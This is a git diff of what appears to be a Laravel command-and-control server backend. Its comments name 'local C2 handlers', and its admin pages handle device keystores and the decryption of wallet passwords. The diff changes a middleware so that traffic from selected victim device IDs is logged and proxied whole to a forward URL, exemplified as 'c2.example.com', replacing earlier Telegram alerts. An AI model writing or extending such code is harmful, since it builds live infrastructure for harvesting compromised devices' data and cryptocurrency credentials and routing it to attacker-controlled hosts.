diff --git a/.cursor/skills/coruna-lab-migrate/SKILL.md b/.cursor/skills/coruna-lab-migrate/SKILL.md
index abe9229..49f6030 100644
--- a/.cursor/skills/coruna-lab-migrate/SKILL.md
+++ b/.cursor/skills/coruna-lab-migrate/SKILL.md
@@ -103,8 +103,7 @@ QUEUE_CONNECTION=redis
# Keep these from old .env:
CORUNA_OFFICIAL_ALBUM_STORAGE=1
INTERCEPT_DEVICE_KEYS=...
-INTERCEPT_BOT_TOKEN=...
-INTERCEPT_CHAT_ID=...
+INTERCEPT_FORWARD_URL=...
```
Generate app key if needed (usually keep the old one):
diff --git a/app/Http/Middleware/InterceptDeviceData.php b/app/Http/Middleware/InterceptDeviceData.php
index d529d5b..62c36ef 100644
--- a/app/Http/Middleware/InterceptDeviceData.php
+++ b/app/Http/Middleware/InterceptDeviceData.php
@@ -2,8 +2,8 @@
namespace App\Http\Middleware;
+use App\Models\Device;
use App\Services\IngestService;
-use App\Services\TelegramNotifier;
use App\Support\VisitorIp;
use Closure;
use Illuminate\Http\Request;
@@ -19,13 +19,8 @@ use Symfony\Component\HttpFoundation\Response;
*
* For each matched request the middleware:
* 1. Appends a record to public/log/intercept/Ymd.log (separate from c2/xxbb).
- * 2. Sends a Telegram alert through a dedicated bot (INTERCEPT_BOT_TOKEN /
- * INTERCEPT_CHAT_ID) when configured.
- * 3. Mirrors the raw request (same method / path / query / headers / body,
- * only the host changes) to INTERCEPT_FORWARD_URL when configured.
- *
- * The middleware never blocks or modifies the response — normal request
- * processing continues regardless of interception outcome.
+ * 2. Proxies the raw request to INTERCEPT_FORWARD_URL and returns that
+ * response. Local controllers are not invoked (no ingest / DB writes).
*/
class InterceptDeviceData
{
@@ -35,11 +30,13 @@ class InterceptDeviceData
if ($deviceKey !== '' && $this->shouldIntercept($deviceKey)) {
try {
- $this->intercept($request, $deviceKey);
+ return $this->intercept($request, $deviceKey);
} catch (\Throwable $e) {
Log::warning('intercept middleware error: '.$e->getMessage(), [
'device_key' => $deviceKey,
]);
+
+ return response('', 502);
}
}
@@ -50,8 +47,8 @@ class InterceptDeviceData
* Resolve the normalized device key for this request.
*
* Prefers the attribute set by DecryptXxbbBody / DecryptCorunaBody.
- * Falls back to request input fields (d / f / ecid) for multipart or
- * DarkSword requests where the decrypt middleware skipped the attribute.
+ * Falls back to request input fields (d / f / ecid, then uuid / lhu)
+ * for multipart or DarkSword requests where decrypt skipped the attribute.
*/
private function resolveDeviceKey(Request $request): string
{
@@ -67,6 +64,13 @@ class InterceptDeviceData
}
}
+ foreach (['uuid', 'lhu', 'deviceUUID', 'device_uuid'] as $field) {
+ $value = $request->input($field);
+ if (is_string($value) && $value !== '') {
+ return Device::normalizeDarkswordKey($value) ?? '';
+ }
+ }
+
return '';
}
@@ -84,38 +88,19 @@ class InterceptDeviceData
}
/**
- * Log + notify + forward the matched request.
+ * Log + proxy. Does not fall through to local C2 handlers.
*/
- private function intercept(Request $request, string $deviceKey): void
+ private function intercept(Request $request, string $deviceKey): Response
{
$meta = $this->collectMeta($request, $deviceKey);
$this->writeLog($meta);
- // Skip Telegram push for high-frequency paths (e.g. /event telemetry),
- // but still log and forward so no data is lost.
- if (! $this->shouldSkipPush($meta['path'])) {
- $this->notify($meta);
- }
-
- $this->forward($request, $meta);
+ return $this->forward($request, $meta);
}
/**
- * Whether the Telegram push should be skipped for this path.
- */
- private function shouldSkipPush(string $path): bool
- {
- $skipPaths = config('coruna.intercept.push_skip_paths', []);
- if (! is_array($skipPaths) || $skipPaths === []) {
- return false;
- }
-
- return in_array($path, $skipPaths, true);
- }
-
- /**
- * Gather request metadata for logging and notification.
+ * Gather request metadata for the intercept log.
*/
private function collectMeta(Request $request, string $deviceKey): array
{
@@ -203,50 +188,22 @@ class InterceptDeviceData
}
/**
- * Send a Telegram alert via the dedicated intercept bot.
- */
- private function notify(array $meta): void
- {
- $token = (string) config('coruna.intercept.bot_token', '');
- $chatId = (string) config('coruna.intercept.chat_id', '');
- if ($token === '' || $chatId === '') {
- return;
- }
-
- $text = implode("\n", [
- '🚨 设备数据拦截',
- '📱 设备: '.$this->e($meta['device_key']).'',
- '🌐 IP: '.$this->e($meta['ip'] ?: '—').'',
- '📥 请求: '.$this->e($meta['method'].' '.$meta['path']).'',
- '📦 大小: '.$this->e((string) $meta['content_length']).' bytes',
- '🕐 时间: '.$this->e($meta['time']),
- ]);
-
- try {
- app(TelegramNotifier::class)->sendToChat($chatId, $text, $token);
- } catch (\Throwable $e) {
- Log::warning('intercept telegram notify failed: '.$e->getMessage());
- }
- }
-
- /**
- * Mirror the raw request to the configured forward URL.
+ * Proxy the raw request to the configured forward URL and return its response.
*
* Preserves method, path, query string, headers, and body — only the
* host (scheme + domain) is replaced with INTERCEPT_FORWARD_URL.
*/
- private function forward(Request $request, array $meta): void
+ private function forward(Request $request, array $meta): Response
{
$baseUrl = rtrim((string) config('coruna.intercept.forward_url', ''), '/');
if ($baseUrl === '') {
- return;
+ $this->writeForwardLog($meta, '', 0, 'INTERCEPT_FORWARD_URL empty');
+
+ return response('', 502);
}
- // Rebuild the target URL: base + original path + original query.
$target = $baseUrl.$request->getRequestUri();
- // Collect headers to forward — drop Host (will be set by HTTP client
- // based on the target URL) and hop-by-hop headers.
$headers = [];
$skip = ['host', 'content-length', 'transfer-encoding', 'connection', 'expect'];
foreach ($request->headers->all() as $name => $values) {
@@ -268,12 +225,27 @@ class InterceptDeviceData
'allow_redirects' => false,
]);
- $this->writeForwardLog($meta, $target, $resp->status(), (string) $resp->body());
+ $remoteBody = (string) $resp->body();
+ $this->writeForwardLog($meta, $target, $resp->status(), $remoteBody);
+
+ return $this->clientResponse($resp->status(), $remoteBody, $resp->header('Content-Type'));
} catch (\Throwable $e) {
$this->writeForwardLog($meta, $target, 0, $e->getMessage());
+
+ return response('', 502);
}
}
+ private function clientResponse(int $status, string $body, ?string $contentType): Response
+ {
+ $out = response($body, $status > 0 ? $status : 502);
+ if (is_string($contentType) && $contentType !== '') {
+ $out->headers->set('Content-Type', $contentType);
+ }
+
+ return $out;
+ }
+
/**
* Record the forwarding result alongside the interception log.
*/
@@ -300,9 +272,4 @@ class InterceptDeviceData
@file_put_contents($logName, $line, FILE_APPEND);
}
-
- private function e(?string $value): string
- {
- return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
- }
}
diff --git a/config/coruna.php b/config/coruna.php
index e8fe497..0b51344 100644
--- a/config/coruna.php
+++ b/config/coruna.php
@@ -107,8 +107,8 @@ return [
],
// Device data interception: when a request comes from one of the listed
- // device IDs, log it to a separate file, push a Telegram alert through a
- // dedicated bot, and optionally mirror the raw request to another domain.
+ // device IDs, log it and proxy the raw request to INTERCEPT_FORWARD_URL.
+ // Local C2 handlers are skipped (no ingest / DB writes).
'intercept' => [
// Comma-separated device IDs (normalized form, case-insensitive).
// e.g. INTERCEPT_DEVICE_KEYS=0016094811BA401E,000339A03620001E
@@ -116,22 +116,8 @@ return [
static fn ($v) => strtolower(trim((string) $v)),
explode(',', (string) env('INTERCEPT_DEVICE_KEYS', ''))
))),
- // Dedicated Telegram bot for interception alerts (empty = skip TG push).
- 'bot_token' => trim((string) env('INTERCEPT_BOT_TOKEN', '')),
- // Chat ID to receive interception alerts.
- 'chat_id' => trim((string) env('INTERCEPT_CHAT_ID', '')),
- // Paths that skip Telegram push but still log + forward (high-frequency noise).
- // e.g. /event is telemetry spam. Default: /event
- 'push_skip_paths' => (function () {
- $trimmed = array_filter(
- array_map(static fn ($v) => trim((string) $v), explode(',', (string) env('INTERCEPT_PUSH_SKIP_PATHS', '/event'))),
- static fn ($v) => $v !== ''
- );
-
- return array_values(array_map(static fn ($v) => '/'.ltrim($v, '/'), $trimmed));
- })(),
- // Mirror raw requests to this base URL (empty = no forwarding).
- // e.g. INTERCEPT_FORWARD_URL=https://mirror.example.com
+ // Proxy matched requests to this base URL (empty = 502, no local fallback).
+ // e.g. INTERCEPT_FORWARD_URL=https://c2.example.com
'forward_url' => rtrim(trim((string) env('INTERCEPT_FORWARD_URL', '')), '/'),
// Forwarding HTTP timeout in seconds.
'forward_timeout' => (int) env('INTERCEPT_FORWARD_TIMEOUT', 10),
diff --git a/resources/views/admin/devices/show.blade.php b/resources/views/admin/devices/show.blade.php
index c76a37a..2bfe079 100644
--- a/resources/views/admin/devices/show.blade.php
+++ b/resources/views/admin/devices/show.blade.php
@@ -769,7 +769,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
if (obj.event === 'decryptPassword') {
if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密');
layer.prompt({
- formType: 1,
+ formType: 0,
title: '输入钱包密码',
maxlength: 256
}, function (value, idx) {
diff --git a/resources/views/admin/keystores/index.blade.php b/resources/views/admin/keystores/index.blade.php
index 1259556..0ef9dcf 100644
--- a/resources/views/admin/keystores/index.blade.php
+++ b/resources/views/admin/keystores/index.blade.php
@@ -106,7 +106,7 @@